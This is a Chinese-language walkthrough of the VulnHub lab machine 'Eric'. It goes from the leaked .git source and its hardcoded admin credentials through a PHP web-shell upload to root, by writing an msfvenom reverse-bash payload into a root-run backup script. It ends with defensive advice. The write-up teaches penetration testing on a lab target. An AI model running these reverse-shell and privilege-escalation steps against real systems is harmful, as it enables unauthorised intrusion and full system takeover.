VulnHub靶机学习——Eric
字数 1143 2025-08-18 11:39:04

VulnHub靶机Eric渗透测试教学文档

靶机概述

  • 靶机名称: Eric
  • 难度等级: 初级
  • 目标: 获取两个flag文件(/root/flag.txt和/home/eric/flag.txt)
  • 运行环境:
    • 攻击机: Kali Linux
    • 靶机: Eric (运行于VM VirtualBox中)
  • 网络设置: NAT模式

信息收集阶段

1. 网络扫描

使用nmap进行主机发现和端口扫描:

nmap -sV 10.0.2.0/24

发现靶机IP为10.0.2.5,开放端口:

  • 22/tcp - SSH
  • 80/tcp - HTTP

2. Web服务枚举

访问http://10.0.2.5,发现一个"未完成的博客"页面。

使用dirbuster进行目录爆破,发现以下重要路径:

  • /admin.php
  • /.git/
  • /upload/

漏洞利用

1. 获取管理员凭证

发现.git目录存在信息泄露,使用GitHack工具还原源代码:

python GitHack.py http://10.0.2.5/.git/

分析还原的源代码:

  • admin.php和index.php源码被还原
  • 在源码中发现硬编码的管理员凭证:
    • 用户名: admin
    • 密码: password123

2. 登录后台并上传Web Shell

  1. 访问/admin.php,使用获取的凭证登录
  2. 发现文件上传功能,无严格文件类型限制
  3. 上传PHP反向shell脚本(6666.php)

3. 建立反向Shell连接

在Kali上监听:

nc -lvnp 6666

访问上传的shell脚本:

http://10.0.2.5/upload/6666.php

获得初始shell后,升级为交互式shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

权限提升

1. 获取第一个flag

cat /home/eric/flag.txt

2. 发现特权脚本

在/home/eric目录下发现backup.sh:

  • 以root权限运行
  • 具有完全权限(777)

3. 利用特权脚本提权

  1. 在Kali上生成反向shell payload:
msfvenom -p cmd/unix/reverse_bash LHOST=10.0.2.4 LPORT=1234 R
  1. 将payload写入backup.sh:
echo "生成的payload" > /home/eric/backup.sh
  1. 在Kali上监听新端口:
nc -lvnp 1234
  1. 等待脚本执行或手动触发,获得root shell

4. 获取root flag

cat /root/flag.txt

关键工具总结

  1. 信息收集工具:

    • nmap
    • dirbuster/dirb
    • GitHack
  2. 漏洞利用工具:

    • msfvenom (生成payload)
    • netcat (监听和建立连接)
  3. 技术要点:

    • .git目录泄露利用
    • 文件上传漏洞利用
    • 特权脚本滥用提权
    • 反向shell建立与交互式shell升级

防御建议

  1. 针对.git泄露:

    • 生产环境删除.git目录
    • 配置服务器禁止访问.git目录
  2. 针对文件上传漏洞:

    • 实施严格的文件类型检查
    • 将上传文件存储在非web可访问目录
    • 重命名上传文件
  3. 针对权限提升:

    • 遵循最小权限原则
    • 定期审计特权脚本
    • 使用chmod限制脚本权限
  4. 通用防御:

    • 避免在代码中硬编码凭证
    • 实施输入验证和输出编码
    • 定期进行安全审计和渗透测试
VulnHub靶机Eric渗透测试教学文档 靶机概述 靶机名称 : Eric 难度等级 : 初级 目标 : 获取两个flag文件(/root/flag.txt和/home/eric/flag.txt) 运行环境 : 攻击机: Kali Linux 靶机: Eric (运行于VM VirtualBox中) 网络设置 : NAT模式 信息收集阶段 1. 网络扫描 使用nmap进行主机发现和端口扫描: 发现靶机IP为10.0.2.5,开放端口: 22/tcp - SSH 80/tcp - HTTP 2. Web服务枚举 访问http://10.0.2.5,发现一个"未完成的博客"页面。 使用dirbuster进行目录爆破,发现以下重要路径: /admin.php /.git/ /upload/ 漏洞利用 1. 获取管理员凭证 发现.git目录存在信息泄露,使用GitHack工具还原源代码: 分析还原的源代码: admin.php和index.php源码被还原 在源码中发现硬编码的管理员凭证: 用户名: admin 密码: password123 2. 登录后台并上传Web Shell 访问/admin.php,使用获取的凭证登录 发现文件上传功能,无严格文件类型限制 上传PHP反向shell脚本(6666.php) 3. 建立反向Shell连接 在Kali上监听: 访问上传的shell脚本: 获得初始shell后,升级为交互式shell: 权限提升 1. 获取第一个flag 2. 发现特权脚本 在/home/eric目录下发现backup.sh: 以root权限运行 具有完全权限(777) 3. 利用特权脚本提权 在Kali上生成反向shell payload: 将payload写入backup.sh: 在Kali上监听新端口: 等待脚本执行或手动触发,获得root shell 4. 获取root flag 关键工具总结 信息收集工具 : nmap dirbuster/dirb GitHack 漏洞利用工具 : msfvenom (生成payload) netcat (监听和建立连接) 技术要点 : .git目录泄露利用 文件上传漏洞利用 特权脚本滥用提权 反向shell建立与交互式shell升级 防御建议 针对.git泄露 : 生产环境删除.git目录 配置服务器禁止访问.git目录 针对文件上传漏洞 : 实施严格的文件类型检查 将上传文件存储在非web可访问目录 重命名上传文件 针对权限提升 : 遵循最小权限原则 定期审计特权脚本 使用chmod限制脚本权限 通用防御 : 避免在代码中硬编码凭证 实施输入验证和输出编码 定期进行安全审计和渗透测试